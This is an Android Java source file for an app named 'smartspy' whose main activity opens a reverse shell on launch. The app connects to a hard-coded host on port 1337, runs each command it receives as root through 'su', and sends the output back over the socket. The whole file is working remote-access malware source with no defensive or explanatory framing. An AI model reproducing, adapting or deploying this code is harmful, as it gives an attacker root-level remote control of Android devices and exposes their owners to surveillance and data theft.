package com.example.smartspy;

import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.os.Bundle;
import android.util.Printer;

import java.io.InputStreamReader;
import java.net.Socket;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.nio.Buffer;
import java.nio.CharBuffer;

public class MainActivity extends AppCompatActivity {
    PrintWriter out;
    BufferedReader in;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getReverseShell();
    }
    public void getReverseShell(){
        Thread thread = new Thread(){
            @Override
            public void run(){
                String SERVERIP = "192.168.1.7";
                int PORT = 1337;
                try {
                    InetAddress HOST = InetAddress.getByName(SERVERIP);
                    Socket socket = new Socket(HOST,PORT);
                    Log.d("TCP CONNECTION",String.format("Connecting to %s:%d(TCP)",HOST,PORT));
                    while (true) {
                        out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
                        in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        String command = in.readLine();
                        Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/su", "-c", command});
                        BufferedReader reader = new BufferedReader(
                                new InputStreamReader(process.getInputStream()));
                        int read;
                        char[] buffer = new char[4096];
                        StringBuffer output = new StringBuffer();
                        while ((read = reader.read(buffer)) > 0) {
                            output.append(buffer,0, read);
                        }
                        reader.close();
                        String commandoutput = output.toString();
                        process.waitFor();
                        if (commandoutput != null) {
                            sendOutput(commandoutput);
                        }
                        out = null;
                    }
                    }catch(Exception e){
                        e.printStackTrace();
                    }
                }
            };
                thread.start();
        }
        private void sendOutput(String commandoutput){
            if(out != null && !out.checkError()){
                out.println(commandoutput);
                out.flush();
            }
        }
    }

